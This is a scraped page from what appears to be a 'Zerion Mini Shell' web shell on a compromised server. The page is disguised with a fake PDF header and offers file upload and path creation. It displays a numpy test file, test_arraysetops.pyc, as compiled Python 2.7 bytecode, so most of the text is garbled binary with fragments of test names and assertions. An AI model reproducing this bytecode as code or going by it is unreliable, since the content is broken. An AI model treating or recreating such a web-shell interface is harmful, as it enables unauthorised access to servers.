%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyc

�
�9Zc@`s�dZddlmZmZmZddlZddlmZm	Z	m
Z
mZddlm
Z
mZmZmZmZmZmZde	fd��YZedkr�e�ndS(	s-Test functions for 1D array set operations.

i(tdivisiontabsolute_importtprint_functionN(trun_module_suitetTestCasetassert_array_equaltassert_equal(tediff1dtintersect1dtsetxor1dtunion1dt	setdiff1dtuniquetin1dt
TestSetOpscB`steZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
RS(cC`s�d�}dddddddgd}ddddg}ddddg}dddddddgd}tjddddgd�}g}|jtjd	�|jtjd
�|jd�|jd�xK|D]C}tj||�}	tj||�}
||	|
||||�q�Wd
}tjt|�|�}	||	(tjt|�|�}
||
(||	|
||||�ddg}tjtt	||��|�}	tjtt	||��|�}
||	|
||||�dddg}	t
tj|	�ddg�dddg}dddg}ddddddg}t|�}
t
|
|�t|dt�\}}t
||�t
||�tj
d�}d|d<tj|dt�\}}t
|tjd��dS(Nc
S`s�d}|jd|�}t|�}t|||�|jd|�}t|ddd�\}}	t|||�t|	||�|jd|�}t|ddd�\}}	t|||�t|	||�|jd|�}t|ddd�\}}	t|||�t|	||�|jd|�}t|ddd�\}}
}t|||�t|
||�t|||�|jd	|�}t|ddd�\}}
}t|||�t|
||�t|||�|jd
|�}t|ddd�\}}
}t|||�t|
||�t|||�|jd|�}t|ddd�\}}
}}t|||�t|
||�t|||�t|||�dS(Nscheck {0} failed for type {1}tvaluestreturn_indexiitreturn_inverset
return_countssreturn_index and return_inversesreturn_index and return_countss return_inverse and return_countss.return_index, return_inverse and return_counts(tformatRR(
tatbti1ti2tctdttbase_msgtmsgtvtjtj1tj2tj3((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyt	check_allsL		!iiiii
iit
AllIntegertAllFloats
datetime64[D]stimedelta64[D]tOttig�?yy�?R.(R%R&(R%R&y�?y�?�y�?�y�?(ii(ii(ii(tnptmultiplytextendt	typecodestappendtarraytemptytlentlisttzipRRtTruet	chararraytzeros(tselfR!RRRRRttypesRtaatbbtunqtinvta1ta2ta2_inv((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_uniquesN	0


!!



cC`stjddddg�}tjdddddg�}tjdddg�}t||dt�}t||�tjdddddg�}tjdddddddg�}tjdddg�}t||�}t||�tgtgg��dS(Niiiiiit
assume_unique(R'R,RR1R(R4RRtecRted((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_intersect1dvs
$
cC`sgtjddddg�}tjdddddg�}tjdddg�}t||�}t||�tjdddg�}tjdddg�}tjddddddg�}t||�}t||�tjddddg�}tjddddg�}tjddddddg�}t||�}t||�tgtgg��dS(	Niiiiiiii(R'R,R	R(R4RRR?R((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyt
test_setxor1d�s 
!
!
cC`s�tjg�}tjdg�}tjddg�}tgt|��tdgt|dd��tdgt|dd��tddgt|dddd��tgt|��tdgt|��dS(Niiitto_begintto_endi����(R'R,RR(R4t	zero_elemtone_elemttwo_elem((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_ediff1d�s%cC`s�xYdD]Q}ddddg}dddddg|}tjttttg�}t||dt�}t||�d	|d
<tjttttg�}t||dt�}t||�d\|d
<|d<tjttttg�}t||dt�}t||�tjddddddddddddddg�}dddg|}ttttttttttttttg}t||�}t||�|dddg|}ttttttttttttttg}t||�}t||�tjddddg�}tjdddddg|�}tjttttg�}t||�}t||�tjdddddg�}tjddddddg|�}tjtttttg�}t||�}t||�tjddg�}tjddg|�}tjttg�}t||�}t||�qWtjdg�}tjdg�}tjtg�}t||�}t||�ttgg�g�dS(
Nii
iiiiiR>ii(ii
(ii(R'R,R1tFalseR
R(R4tmultRRR?R((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyt	test_in1d�s\




9

"
%

c	C`s�tjddddddddg�}tjddg�}tjttttttttg�}t||�}t||�dS(NRRRtdte(R'R,R1RIR
R(R4RRR?R((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_in1d_char_array�s
''cC`s�x�d	D]�}tjddddddddddddddg�}dddg|}ttjt||��t||dt��qWdS(
sTest in1d's invert parameterii
iiiitinvertN(ii
(R'R,RROR
R1(R4RJRR((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_in1d_invert�s
9cC`s�tjd�jdd�}tjdd�jdd�}tjdd�jdd�}tjttttttg�}tt||dt�|�tt||dt�|�tt||dt�|�tt||dt�|�dS(Niiii	i?iR>(R'tarangetreshapeR,RIR1RR
(R4RRtlong_bR?((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_in1d_ravel�s!cC`s�tjdddddg�}tjdddddddg�}tjddddddg�}t||�}t||�tgtgg��dS(Niiiiii(R'R,R
R(R4RRR?R((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_union1ds$!
c	C`stjddddddddg�}tjdddddddg�}tjddg�}t||�}t||�tjd�}tjd	�}tjd	d
g�}t||�}t||�tgtgg��tjdtj�}tt|g�jtj�dS(Niiiiiiiiii((R'R,RRRQtuint32Rtdtype(R4RRR?R((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_setdiff1ds'$

cC`sVtjdddg�}tjdddg�}tt||�tjdg��dS(NRRRts(R'R,RR(R4RR((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyttest_setdiff1d_char_array$scC`s�tjdddddg�}tjdddddddg�}t||�}t||�}t||�}t||�}t||�dS(	Niiiiii	ii(R'R,R	RR
RR(R4RRtc1taux1taux2tc2((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyt
test_manyways)s$(t__name__t
__module__R=RARBRHRKRNRPRTRURXRZR_(((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyRs	e				<					
	
		t__main__(t__doc__t
__future__RRRtnumpyR't
numpy.testingRRRRtnumpy.lib.arraysetopsRRR	R
RRR
RR`(((sS/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/tests/test_arraysetops.pyt<module>s"4�&

Zerion Mini Shell 1.0